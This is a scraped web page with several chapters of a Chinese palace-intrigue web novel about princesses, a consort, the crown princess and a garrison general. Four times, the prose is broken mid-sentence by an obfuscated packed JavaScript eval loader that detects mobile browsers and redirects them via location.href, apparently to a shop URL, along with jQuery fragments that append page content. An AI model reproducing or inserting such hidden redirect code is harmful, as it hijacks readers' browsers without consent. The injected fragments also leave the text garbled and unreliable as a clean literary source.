;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274227|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !欺负到大姐姐头上了!” “我与你同去!我要亲手射杀这两个猪狗不如的畜生!” “五姐,你跑反了!他们出城后朝着西边去了!” 在太阳落山之前,刘宁与刘昶二人追上了蔡闻与蔡旭。 二人藏在暗处,刘昶将蔡闻蔡旭指给刘宁看:“五姐,你看,那个五短身材的,便是蔡闻。他旁边那个高个的,是蔡旭。” “就是他们啊!呸!”刘宁取下背着的弓,从箭袋中掏出两只利箭,搭箭,瞄准,松手,箭矢朝着二人飞去。 眼看着两只飞箭会击穿二人的胸口,岂料蔡旭走了大运,一个转身,避开了。 一只箭矢落空,一只箭矢击穿蔡闻的胸口。 蔡旭一见兄长蔡闻被利箭穿心,吓得忙奔跑逃命。 刘昶见蔡旭要逃,从暗处飞身,奔至蔡旭脸上,手持一杆长枪,将蔡旭捅了个透心凉,而后又觉得不解气,又捅了几枪后,静待片刻,确定那二人没了气息后,便与刘宁一同回宫。 回宫路上,刘宁忧心忡忡道:“你说我要是这会儿把那颗大珍珠送给大姐姐,大姐姐会不会觉得我哪壶不开提哪壶啊?” 刘宁说罢叹了口气,无奈道:“只可惜这千辛万苦寻来的珍珠没送给大姐姐,现在也不知道拿什么名义去送了。” 刘昶见刘宁情绪低落,安慰道:“没事的,大姐姐不在意这些。” “父皇已经下令禁足了皇后娘娘,那两个也已经被父皇下令处置了,父皇已为大姐姐讨回了公道,大姐姐不会吧这件事放在心上的。” “况且你的心意她是知道的,你直接送与她就是了,不用再想这么多。” “什么?皇后被禁足了?”刘宁听后吃惊不已,皇后是太子的生母,背后还有晋国公、颖州蔡氏,父皇即便再不喜欢皇后,也会看在太子的份上,看在颖州蔡氏的份上,对皇后礼敬有佳,禁足可是从来没有的事儿。 刘宁问道:“难道只是因为大姐姐的婚事?” 刘昶从他的生母容嫔那里得知了昨夜的经过,因此愤愤不平道:“对啊,听说昨夜大姐姐提着剑就闯进了宫里,哭得惊厥了好几次!父皇平时最疼爱大姐姐,见大姐姐受这样的欺负,怎会轻饶了始作俑者呢?” 刘昶话音未落,只见旁边的刘宁似一阵风,快马加鞭地朝着皇宫赶去。 “诶!五姐!你慢点!”刘昶不由得扬鞭疾驰,跟在刘宁身后。 待在宫门处下马后,刘宁便一路小跑,风风火火地跑到贵妃的云清宫,她要来找她的母妃问清楚昨晚到底发生了什么事。 “母妃!” “哟,你还知道回来呀!”贵妃笑着打趣道,随即与侍立在一旁的李尚宫对视一眼,调侃道“到底是女大不中留,整天想着在外面疯玩,看来还是要寻一门夫家才能收收心呐!” 刘宁当即反驳道:“难道要向大姐姐那样吗?” 贵妃听后一时语塞,脸上挂着尴尬的笑容,低头瞄着字帖不言语。 “母妃,听说皇后娘娘被禁足了?” “就昨天晚上的事儿。”贵妃抬头看了眼满头大汗的刘宁,挥手让李尚宫为刘宁擦汗,专心描着她的字帖,边描边说道: “昨夜永安公主夜闯宫门,一路上哭着跑到了福宁殿,跑到陛下面前哭诉。陛下得知真相后大发雷霆,连夜把皇后叫到福宁殿当面训斥,后来还觉得不解气,还禁足了皇后。”贵妃将她从容嫔那里听来的添油加醋地说与刘宁听。 贵妃放下笔,嗤笑道:“那可是你父皇最宠爱的永安公主,皇后她怎么敢的!” 31. 巫蛊(一)斗志全无 贵妃向五皇女刘宁说清楚昨夜事情的经过,以及皇后被禁足的原因后,随即将自己描的字举起给刘宁看,满意道:“阿宁,你来看看!” 五皇女心思不在字帖上,敷衍说了声好,随后着急追问道:“那太子可有牵连吗?” 贵妃听后白了刘宁一眼,随即又给李尚宫使了个眼色。 李尚宫会意,带着下人们都出去了,只留五公主和贵妃在殿内。 贵妃见殿内只剩下她与刘宁,语气淡漠地开口道:“你管太子做什么,横竖太子受不受罚都与我们无关。” 刘宁不由得急切地上前一步,抓住贵妃的胳膊,问道:“母妃,怎么会与我们没有关系呢?如今皇后失势禁足,离被废就差一步之遥,难道你就不想争吗?” 贵妃乜视道:“还争什么呀?自那晚接风宴结束之后,你父皇便警告过我,说太子只能是太子,让我不要有非分之想。陛下都这么说了,我还能争什么?” “你父皇如今大权在握,早已不是刚登基时处处受人挟制的时候了,生杀予夺皆是他一句话的事,我又何必像皇后一样不开眼,去触碰他的逆鳞呢?” “况且你哥哥和嫂嫂已经被赶出了京城,去了陌南,还能和太子争什么呢?” 贵妃叹了口气,继续说道:“我是已经看开了,如果你哥哥能老实待着,他还能当个逍遥王爷快活快活。若滋生了旁的心思,你父皇定会亲自处置的,老二先前不就是个活生生的例子吗?硬生生挨了五十板子,如今我看他走起路来腿脚还有些不便,只怕还没好全呢,你们还要争什么?” 在四皇子刘茂刚回京时,贵妃和齐国公也曾想过要扶持四皇子,与太子争一争这皇位。 毕竟刘茂与刘宁出生时是龙凤胎,又恰逢天降异象,这不就是妥妥的圣人标志吗?当年若不是皇后耍了心计,使了手段,太子之位能落到刘牧身上吗? 可近些日子京中发生了太多事,桩桩件件都与太子有着千丝万缕的关系,即便是这样,承道帝都没有过多责备太子,反而还想着把太子从这些事件中摘出来,承道帝的心思谁人不知呢! 即便贵妃心中再怎么不服气,终究是拗不过承道帝,因此只能放弃夺嫡。 况且她如今也想通了,什么皇位帝位,终是抵不过孩子们还健康地活着,一家人团聚在一起那才是最快乐的。 贵妃苦口婆心地劝说刘宁道:“倘若太子未立,我们争一争也无妨,未来你哥哥登基还是有希望的,可而今太子已立,陛下又这么偏袒太子,我们再争就不合适了。再争,那就是谋逆了。” 刘宁听后不解地问道:“母妃,你现在怎么这般畏首畏尾的,你先前的野心呢?先前的雄心壮志呢?” 贵妃并不理会刘宁,继续劝道:“现在唯一要紧的,就是等你嫂嫂顺利地把孩子生下来。” 刘宁听不进去,转过身,扭过头去,还是坚持她内心地想法,她要争!她和哥哥要争!他们要把属于他们的位置争回来。 刘宁在陌南时,四皇子刘茂就已经给她吃了颗定心丸,只要他们联合二皇子刘仲,把太子刘牧拖下太子之位,那皇位对他们来说就是唾手可得的。 只是刘宁没想到的是,母妃却早已经无心再争斗了。 贵妃察觉刘宁有些抵触,便强硬地把刘宁的身子扭过来,盯着刘宁的眼睛认真说道:“我为的是什么?不就是希望你们兄妹两个能好好的吗?” 贵妃见刘宁依旧是一脸的倔强,一脸的不服气,起了些怒气,一甩袖子生气道:“罢罢罢,你们争去吧,我自去找根白绫,吊死在这宫里,免得日后你们谋逆我死无全尸!” 刘宁嗔怪道:“母妃!” 贵妃知道他这两个孩子从小脾气就倔,或许等他们也像老二那样挨一顿板子就会自己放弃吧,遂无奈长叹口气,继续说道:“既然你们都不想放弃,那就算了,从此以后,我再不劝你们了。” 刘宁还想再说些什么,忽瞥见李尚宫垂头小跑进殿,便住了嘴。 “娘娘,李美人求见。”李尚宫垂首侍立,恭敬道。 “她来做什么?”贵妃不甚待见李美人,素与李美人不合,因此听到李美人见她,也是摸不着头脑,便随意打发道:“你去告诉她,本宫已经歇下了,有什么事让她明日再来。” “是。”李尚宫依令道。 “李美人,我们娘娘近来身体不适,早早便歇息了,美人明日再来吧。” “尚宫大人——”李美人见李尚宫传完话后就头也不回地走了,就连她喊也不回头,便已猜到贵妃不愿见自己,无奈离开云清宫。 因先前四皇子刘茂在陌南做质子时,八皇子刘绥出生了。贵妃每每见到刘绥,都会想起刘茂年幼时在她身边牙牙学语样子,因此便想把刘绥养在自己身边。 八皇子刘绥的生母李美人,得知贵妃竟要分离她和她的儿子,便一哭二闹三上吊,最终闹到了承道帝和皇后面前。 承道帝常觉对贵妃亏欠,虽事事偏向贵妃,但要一位生身母亲与自己刚生下不足数月的孩子分离,多少有些太过冷酷无情,因此承道帝并未处置此事,将这件事交由皇后处理。 皇后与贵妃素有过节,巴不得见贵妃天天以泪洗面呢,因此,自然驳了贵妃的请求。 李美人虽如愿将刘绥抚养在身边,但也因此与贵妃结下了梁子。贵妃不待见李美人,李美人也不喜贵妃。 可昨夜皇后被禁足后,统辖六宫的权利交到了张贵妃手里,如今刘绥又时常咳嗽高热,李美人这才不得不求到贵妃这里。 李美人想着像昨夜永安公主那样,闯到陛下面前,求陛下可怜八皇子。但当她快到福宁殿时,遇见贵妃与五皇女刘宁乘着步撵,说说笑笑地进了福宁殿,李美人顿时便没了方才的勇气,只得另寻办法。 思来想去,李美人想到了容嫔,容嫔比她位份高,又在陛下面前得脸,又与贵妃关系交好,想来求容嫔最合适了。 只是听容嫔宫里的宫人说,容嫔去了福宁殿,李美人又扑了空,垂头丧气地回了她的寝宫。 “美人!八殿下的高烧退下了!” 李美人欣喜地跑向八皇子刘绥身边,刘绥还在昏睡着,李美人伸手摸在刘绥额头上,确实降温了,不由得喜极而泣,跪下对着床榻连连祷告,告谢天上的神仙庇护她的孩子。 福宁殿内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274228|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,永安公主刘安,五皇女刘宁,还有四皇子五皇女的生母张贵妃,七皇子的生母容嫔,皆被承道帝传唤到此处。四人面面相觑,心中忐忑不已,皆不知承道帝要做什么。 承道帝见四人拘谨地站着不动,不由得笑道:“都站着干什么?随意坐吧。” 永安公主刘安打趣道:“眼下正是用膳的时候,想来父皇定是尝到了什么珍馐美味,要让我们也尝尝鲜呢!” 刘宁上前走到承道帝身旁,在一旁撒娇道:“父皇,到底是什么好吃的啊!快拿出来给我看看,可不许私藏着!” 容嫔和贵妃被二位皇女的玩笑话给逗乐了,均掩嘴一笑。 贵妃佯装生气,低声呵斥一声:“阿宁!” 承道帝宠溺地刮了下刘宁的鼻子,爽朗地笑道:“哈哈哈哈,你这丫头,竟顾着贪吃贪玩!前一段时间又跑出去疯玩了!” “不告诉父皇!”刘宁说罢,傲娇地扬起脑袋。 “你们瞧瞧,怎么养成一个刁蛮姑娘了!”承道帝指着刘宁,笑着打趣道。 贵妃笑道:“陛下少惯着些阿宁吧,她现在的性子,是越来越无法无天了!” “哼——”刘宁娇哼一声。 承道帝闻言笑着抚摸着刘宁的脑袋,道:“朕就是愿意宠着她,宠着她与安儿两个,朕只她们两个女儿,自然是想把她们两个捧在手心上。” 承道帝对着容嫔和贵妃说道:“朕今日找你们过来,也是想告诉你们,朕要晋安儿为长公主,就交由你们两个去办吧。” 先前六皇子刘赞幼年丧母时,齐晋两国公又斗得如火如荼,承道帝虽处于帝位但处处受到挟制,不得已将刘赞交由刘安教导抚养,如今刘安的婚事又被皇后设计,因此承道帝常觉对大女儿刘安有所亏欠。 如今为了弥补亏欠,承道帝便要给刘安这份殊荣,晋封刘安为长公主,权力在他之下,如此这般,看谁人再敢欺负安儿。 容嫔和贵妃听后均有些吃惊,相看一眼后,贵妃犹犹豫豫开口道:“陛下,只怕没有这样的先例啊!” 承道帝脸色有些不悦道:“我们大江建国不过百年,开国皇帝元启帝没有长女,先帝启盛帝没有子嗣,所以才没有封长女为长公主的先例。既然没有先例,那朕便开创先例!” 贵妃闻言,不再多言,只道:“那臣妾明日便与容嫔妹妹去准备着长公主的晋封仪式。” 刘安站起身,跪下谢恩:“儿臣谢父皇恩典!” 五皇女刘宁见状,也在一旁吵着要封爵:“父皇,大姐姐七岁便封了爵位,如今又晋一级,可儿臣早就过了及笄,却还未受封,父皇偏心!” 贵妃呵斥一声:“阿宁!越来越没规矩了!” 刘安笑着为刘宁找补道:“父皇,依祖制,皇子及冠皇女及笄之年,应当受封爵位,五妹妹如今早过及笄,也该给妹妹封爵了。” 随即刘安开玩笑道:“省得五妹妹总是眼馋心热!” 皇后听后哈哈大笑,俨然一副慈父的样子,当即说道:“朕原本想着留你在朕身边多待些时日,若你封了爵,将来开府建衙,不在宫中受父皇和你母妃的约束,岂不是要玩疯了?” 32. 巫蛊(二)皇女受封 承道帝慈爱地笑道:“明日,让宗正寺选几个吉利的封号。” “父皇偏心!”刘宁一听她的封号不是承道帝亲自拟定,有些不满意道: “大姐姐的封号永安,其中的寓意是父皇希望大姐姐永远平安、一生顺遂;大哥哥的封号‘英’,正所谓聪明秀出谓之英,才能过人谓之英,很是适合大哥哥。” “大姐姐、大哥哥的封号,都是父皇用心择选的,怎么到了我这里,竟要宗正寺的那些人为我定?” 刘宁摇着承道帝的手臂撒娇道:“父皇——,你今日也亲自为我拟定一个封号吧,好不好嘛~” 承道帝被刘宁闹得没办法,笑着答应道:“好好好,依你依你。” “既然要贴合你的性子,那便拟定——”承道帝摸着髯须,思考一番后,打趣道:“那便拟定‘顽皮’二字,朕便封你为‘顽皮公主’可好?” 贵妃、刘安听后,哈哈笑做一团。 刘宁则气呼呼地把脸扭过去,独自生着闷气。 “阿宁可不许恼!”承道帝笑着将刘宁身子扭正,问道:“阿宁说说,你可有什么想要的封号吗?” 刘宁期待道:“父皇,大姐姐是永远平安,那我要永远快乐!不如封我为永乐公主,如何?” “不够。” 承道帝看着眼前活泼可爱的女儿,舐犊之情、慈爱之心溢于言表,笑道:“朕不单希望你能永远快乐,还希望你今生今世、来生来世都能安宁、快乐。” 刘安道:“那便拟作宁乐二字如何?愿五妹妹今后安宁喜乐,无忧无虑,一生顺遂。” 贵妃道:“阿宁,还不快谢谢你大姐姐!” 刘宁起身向刘安行礼,生怕待会承道帝返回,欣喜道:“多谢大姐姐!” 旋即承道帝提笔写下“宁乐”两个大字,递与刘宁道:“你拿去,回头做成牌匾,挂在你公主府的门头上。” 刘宁面露喜色,忙不迭接下,谢恩道:“多谢父皇!” 刘安佯装吃醋道:“父皇好生偏心啊,都不为儿臣写一副匾额!” “你呀!”承道帝无奈地点着刘安,还是为刘安写下。 贵妃也笑着伸手索要道:“陛下,见者有份,臣妾又怎好空手而归呢?” “给你给你!” “只有一点,你们出了福宁殿不要乱说,要不然他们便都要来找朕要了,朕哪里能写的了那么多呢?” “是!”贵妃、刘安、刘宁齐刷刷应下。 翌日,待刘宁受封公主后,便兴冲冲差人去向她的闺中密友——太子妃温嘉诚分享这份喜悦,顺便刺探些皇后禁足的真相。 二人便约好一起去京郊的破晓山附近游玩涉猎。 刘宁与温嘉诚骑马奔驰一段,待甩开身后跟着的仆人侍从后,二人便放慢速度,随意闲聊着。 温嘉诚向刘宁道喜:“恭喜阿宁,今日受封爵位。” 刘宁瞄准一只野兔,射出一箭,射中猎物后,笑道:“待我的公主府建好后,我天天邀你出来玩!” “好啊!”温嘉诚当即拍手赞道:“几日不见,你的箭术越发精进了。” 温嘉诚骑在马上,射出一箭,满眼羡慕地问刘宁:“看来你此次前去陌南,收获颇丰啊!” 刘宁勒住缰绳,射出第二箭,笑着说道:“陌南风光很好,民风又淳朴,这次玩得很尽兴。只是还是晚了一步,没把那珍珠……” 话音未落,刘宁第二箭便射偏了,未中。 温嘉诚见状,瞟了刘宁一眼后,脸上露出尴尬的笑容。 刘宁也是一番尬笑,叹了口气,岔开话题道:“世事无常,看来我的箭术不经夸啊!” 温嘉诚好奇问道:“你方才说什么,什么珍珠?” “是我特意去陌南为大姐姐寻来的,原本想镶嵌到她凤冠上的,却不想……” 想到此处,刘宁不由得又是感慨一声:“有的时候,确实是世事无常,没想到大姐姐竟然接连遇人不淑,婚事不顺。” 而后刘宁话锋一转,打趣道:“更没想到嘉诚姐姐你竟成了太子妃。不过还是我嫂嫂!” 温嘉诚舒了口气,打趣道:“看来我注定要做你这小皮猴子的嫂嫂的,竟怎么也逃不掉了!” 说罢,温嘉诚与刘宁开怀大笑,笑得前仰后俯。 温嘉诚看到天空中有一只五彩飞鸟,便搭弓瞄准了这只飞鸟,松手射箭。 未中。 飞鸟被飞箭吓得落了几根羽毛,飞走了。 看到此处,温嘉诚不禁想起自己自当上太子妃后,日日被拘在东宫内学规矩,学管理东宫,一日也不得闲。今日若不是刘宁邀约,只怕自己还要在东宫对着账簿发呆呢。 “你看,连鸟儿都能这般自由自在!” “先前在家中时,父亲母亲从未约束过什么,我想耍枪便耍枪,我想练剑便练剑,我想赛马便赛马,好不自在!没想到一朝成婚,竟成了这笼中雀,每日学不完的礼仪规矩。” 温嘉诚望着这一片天空,不由得叹了口气,失神道:“我原本还想像我父亲一样,领兵打仗,做个镇守一方的将军,却不想成了这太子妃,只怕我这一辈子都不能再出去看了,也再没有领兵打仗的希望了。” 刘宁安慰温嘉诚道:“嫂嫂别灰心。日后太子哥哥登基,你执掌凤印,掌管羽林军,依然还是能掌兵的。” 温嘉诚一边射箭一边闲聊道:“皇后哪儿有那么好当的。单看母后吧,母后操持宫闱大小事宜,累还不说,如今又被陛下禁足,还不知道什么时候解禁呢。” “嘉诚姐姐,皇后娘娘被禁足难道只是因为大姐姐的婚事吗?”刘宁一边瞄着一只快速奔跑的兔子一边装作不经意地闲聊。 “算了不说这个了。”温嘉诚倒是从太子那边听到些风声,只是这些话不适宜外传,便当即终止话题。 温嘉诚见五公主射中了那只奔跑的兔子,欢呼雀跃道:“中了!中了!” 刘宁傲娇道:“我此去陌南,不单去为大姐姐寻来珍珠,我还苦练了箭术,我哥哥和嫂嫂在旁亲自指导呢,要是再没有点长进,那还真对不起他们的教导了。” 那只五彩飞鸟又飞回来了。 刘宁见状,又瞄准空中的飞鸟,要给温嘉诚露一手。 不想一箭射空了,箭矢不知道落到哪里去了。幸亏郊外人不多,要是伤到人的话,少不得又要挨一顿训斥。 刘宁有些尴尬地笑了笑,忙命跟上来的下人去寻找掉落的箭矢。 “八月十五,哥哥嫂嫂便要回京团聚,到那时嫂嫂也就快生了,等嫂嫂生下小侄儿,我去央求了父皇,筹办一场比赛,我们四个好好得比上一场。”刘宁骑在马上,肆意地笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274229|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 温嘉诚打趣道:“好啊,记得把你前几个月得的那张好弓拿出来做彩头,若比赛的彩头那张弓,我可不参加。” 刘宁听后哈哈大笑:“你到底还是惦记我那把弓!” “你放心吧,我定把它拿来做彩头!” 刘宁与温嘉诚派出去的下人去了好一会儿,便跌跌撞撞地跑回来,一头跪在地上,哭诉道: “求二位殿下为奴才们做主!” 刘宁与温嘉诚相视一眼,眼中尽是不解,这是怎么了?她们二人的奴才还能被欺负吗? 刘宁问道:“这是怎么回事?怎么哭得鼻一把泪一把的?” “回殿下的话,殿下的箭矢落到了那护城军的营地中,奴才们去取,便被护城军的一个将领抓住,奴才们挨了好一顿训斥!” “那将领还说要把奴才们绑了,军法处置呢!” “求殿下为奴才们做主!” 护城军?那不是太子在管吗?想必是自己刚封的宁乐公主,对方不认识她,不过太子妃对方总该知晓吧。 刘宁扭头望了眼温嘉诚,随即训斥着跪在地上痛哭流涕的仆人们,道:“慌什么?哭什么?定是你们未曾告知那将领太子妃也在此处吧,这才闹了个这么大的误会。” “你们再去一次,便说本宫与太子妃皆在此处,把箭矢还拿回来。” 跪在地上的仆人们继续哭诉着:“殿下,不中用的,那将领说,不管是谁,都照绑不误!” “放肆!” 刘宁怒上心头,扬鞭加速,朝着军营的方向赶去。她倒要看看是哪个将领,竟连太子妃和她的面子都不给,也太看不起她们了。 “阿宁!” 温嘉诚忙骑马追上刘宁,拦在刘宁面前,劝说道:“我们如今并不占理。更何况军中有规矩,军令更是难违,不论是谁,只要违反了军规军令,都会被处置的。” “我们先回去吧,待我回了东宫,派人取了太子殿下的命令来!” 刘宁是个倔脾气,此时已怒火中烧,自然听不进去温嘉诚的话,调转马头,绕开温嘉诚,继续朝着军营奔去。 温嘉诚见拦不住刘宁,忙命人回去传话给太子,随后骑马追上去。 不想那名护城军的将领带着士兵们赶了过来,在刘宁与温嘉诚的必经之路上设置了绊马绳。 刘宁的马被绊倒,当即重重地摔下马。 在一旁埋伏的士兵一拥而上,将刘宁五花大绑给捆了个结结实实。 温嘉诚被落在后面,见到刘宁被绑,当即勒马,赶忙亮出金印,怒喝一声:“放肆!” “吾乃东宫太子妃!尔等绑的是当朝的宁乐公主,还不快给公主松绑!” 众士兵们见到金印后,面面相觑,不知真假,又见他们的上司金中堂没有反应,纷纷怔在原地。 金中堂从士兵后面站出来,跪下行礼道:“拜见太子妃,拜见宁乐公主。” 众士兵们也纷纷跪下,高呼:“拜见太子妃!拜见宁乐公主!” 温嘉诚怒斥道:“你既已知本宫与公主的身份,那还不快给公主松绑!还愣着干什么!” 金中堂制住蠢蠢欲动的士兵们,正色道:“军机重地,不得随意出入。执行军规,这是微臣的职责所在,金中堂多有得罪,还望二位殿下见谅。” “带走!” 33. 巫蛊(三)针锋相对 金中堂一声令下,当即命人将太子妃温嘉诚和宁乐公主刘宁一齐押回军营中,随后命人去通知永安长公主刘安。 刘安得知后,并未急着处理,反而先专心画着未完的莲图,待完工后,这才不紧不慢地起驾前去。 “长公主!” 刘安乘上步撵,刚出了福康宫,便被李美人拦住。 李美人扑通一声,柔弱地跪在刘安步撵前,哭求道:“长公主殿下,绥儿高热不退,求殿下救救绥儿!求殿下救命啊!” 刘安闻言大惊失色,摆手让宫人们将步撵落下,急忙从步撵上起身,蹲下扶起李美人,急道:“李娘娘,你是长辈,怎么能跪我呢,我实在承受不起啊!” “李娘娘,你慢慢说,到底怎么了?” 李美人哭得梨花带雨,哽咽道:“长公主殿下,自年前我与绥儿搬到这归云阁后,绥儿便开始咳嗽,先前还没这般严重,三五日才复咳一次,如今……” “如今咳嗽不止,还……还时不时高热,原不想来叨扰长公主殿下,只是今日绥儿高热不退,御医们束手无策,我……我这也是实在没了办法……” “殿下——” 刘安笑着拒绝道:“李娘娘,如今是贵妃娘娘统辖六宫,断然不该来找我呀!” 李美人有些急了,忙央求道:“殿下,皇后娘娘被禁足,贵妃娘娘身体不适,我能求的便只有殿下了!还望殿下看在幼弟病重的份儿上……” 刘安看着李美人哭得像个泪人一样,想及八弟还发着高热,到底是于心不忍,忙道:“李娘娘,不如这样,你和八弟暂且先住福康宫吧,待工匠把归云阁修缮好之后,你们再搬回去住,你看可好?” “好好好,只是……多有打扰长公主殿下了。”李美人听后,忙应下。 果然,还是容嫔姐姐说得对,长公主殿下最得陛下宠爱,如今有了长公主的庇护,想来绥儿也会好得更快些,说不定还能陛下重视呢。 刘安拍着李美人的手安慰道:“八弟是我血脉相连的亲弟弟,如今弟弟生病,我身为长姐,做这些也是应该的。” “莲音,你同李娘娘一起,将八弟挪到偏殿去吧。” 莲音应下,对李美人说:“美人,请——” 刘安安顿好李美人和八皇子刘绥后,这才姗姗来迟来到护城军的军营中。 刘安刚一到军营中,见温嘉诚和刘宁都被捆住,便厉声呵斥金中堂道:“糊涂东西,愣着干什么!还不快给太子妃和宁乐公主松绑!” “是。”金中堂当即应下,命手下人为温嘉诚和刘宁松绑,随后毕恭毕敬地弓着腰,站至刘安身旁。 “太子妃和宁乐公主的尊贵,想必不用我说了吧。她们二人若是受了半点伤,你承担得起吗?” 金中堂低着头,拱手认错道:“是微臣做事鲁莽了。” “做事之前先掂量掂量自己有几斤几两,来日若是父皇怪罪下来,本宫也帮不了你。” 金中堂答道:“是,微臣以后定当谨慎。” 温嘉诚揉着被绳子勒痛的胳膊与手腕,与刘宁对视一眼,旋即又冷眼看着台上这对主仆一唱一和,听长公主这意思,倒像是不想为她们追究了。 刘安笑道:“若下次你还是这么不知好歹的话,本宫绝不轻饶你。还不快去给太子妃和宁乐公主好好地赔个不是,二位殿下大人有大量定会不与你计较的。” 金中堂会意,拱手施礼道:“宁乐公主殿下,是微臣有眼不识泰山,让殿下受委屈了,还望殿下大人有大量,饶恕微臣这一次吧。” 刘宁被刘安他们这一对主仆架在了高处,如今是进也不是退也不是,如若再追究,岂不显得她这个宁乐公主斤斤计较吗? “哼!”刘宁冷哼一声,虽然不能处罚这金中堂,嘴上还是忍不住要奚落抱怨一番:“皇家的金印在此你都不认,不知将军认什么?” “得亏今日将军遇到的是本宫,本宫宽宏雅量,不与你一般计较,愿意饶恕你这一次,若是换了别的皇室宗亲,只怕早够你死八百回的了!” 金中堂直起身子,耿直回道:“他日若有别的皇室宗亲在此违反军规,臣也一样,照拿不误!” “断不会因为谁是皇室宗亲,便对他多有宽容,便任由他随意出入此等军机重地。” “陛下将此等军机重地交予臣把手,臣理应尽职尽责,绝不能出半点差错了。” “别说今日是宁乐公主来了,即便今日是太子殿下违反军规军令,臣也照拿不误!” 温嘉诚听闻金中堂竟敢稽查太子,脸色一冷,目光凌冽地看向金中堂,而后又冷冷看向永安长公主刘安。 “中堂!”刘安见金中堂说着说着都扯到了太子身上,出声叫停金中堂,对着温嘉诚的目光,呵斥金中堂道:“越说越过分了。” 金中堂微微颔首,抱拳对刘宁和温嘉诚道:“此等军机重地,闲杂人等不能久留。二位殿下,请回吧。” 金中堂说罢,当即做出一个请的姿势。 刘宁见状冷哼一声,气愤地一甩袖子,别过脸去,不再理会金中堂。 刘安站出来打圆场道:“五妹妹,金将军还要去巡查,我们先回去吧。” “若是耽误了将军巡查,父皇怪罪下来,不是你我能承担得起的。还是同我一起回去吧。” 刘安含笑看向温嘉诚:“太子妃,你说是吧?” 温嘉诚面上露笑,但眼神中不含笑意,道:“长公主殿下所言极是,阿宁,我们先回去吧。” 刘宁在温嘉诚与刘安的半推半就下,气呼呼地走出护城军的大营。 刘安见状安慰道:“五妹妹,金将军这也是依例循法行事,法度如此,你多见谅。” 刘宁不满地抱怨道:“大姐姐,我才是你的亲妹妹!你怎么不向着我们说话呀!就应该叫那个金中堂跪下叩头认错!” 刘安厉声道:“五妹妹,你如今既已受封宁乐公主,享万民敬仰,那便应该拿出一个公主的气度来,不能再像先前那般任性了。” “倘若每一个皇室宗亲都像你这般肆意妄为,那还要这天下法度有何用?” “大姐姐……你何须这样疾言厉色……”刘宁从未见过刘安这般生气,便小声抱怨道,但又因心虚,声音越来越低。 刘安不再理会刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274230|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁,转头对着温嘉诚说道:“太子妃,你既已成了太子妃,成了未来的国母,那便要端庄持重,切不可得意妄为、失了分寸,你说是吧?” “大姐姐,今日——”刘宁见刘安错怪了温嘉诚,忙出言辩解,把事情往自己身上揽。 温嘉诚按住了在旁边愤愤不平的刘宁,打断刘宁的话,对刘安笑意相迎。 温嘉诚知道皇后得罪了刘安,太子又与皇后一脉相承,如今刘安这么针对自己,只怕是怀疑她的婚事太子也有参与。蔡桐、皇后已然得罪了刘安,若自己此时再与刘安争辩,岂不是火上浇油?恐对太子不利。 温嘉诚退让一步,道:“谢长公主教诲,嘉诚以后定当铭记在心。” 刘安道:“那我便和五妹妹先回宫了,你也早些回东宫去吧。” 刘宁记得她大姐姐从未这般凌厉过,怕温嘉诚心里不痛快,小跑到温嘉诚身旁,凑到温嘉诚耳边,为刘安找补道:“嫂嫂,大姐姐她是最好的一个人了,从不像今天这般疾言厉色,你不必放在心上。” 温嘉诚摇头笑道:“我知道长公主心中有气,我不怪她。” 同为女子,温嘉诚能理解刘安的感受,她也觉得皇后这件事做得实在不光彩。 刘安上了马车,催促道:“五妹妹,我们回宫了。” “来了来了!” 刘宁与刘安同乘一架马车回宫。 回宫路上,刘宁怕刘安心中对温嘉诚有成见,便挽着刘安的手臂,亲昵撒娇道:“大姐姐,今日之事全怪我,是我约嘉诚姐姐出来玩儿的,也是我不小心将箭矢射入军营中,也是我与那将领起了冲突,全是我的不是。” “大姐姐,我知你心中生气,知你对皇后和太子有气,只是……只是嘉诚姐姐虽然是太子妃,却从未想过要害大姐姐,她……” 刘宁说着说着,觉察出有些不妥,忙换个话题道: “嘉诚姐姐平日里是最沉稳的一个人,大姐姐心里可千万不要对她有什么不好的印象啊!” 刘安伸手点着刘宁的脑袋,无奈道:“你呀!” 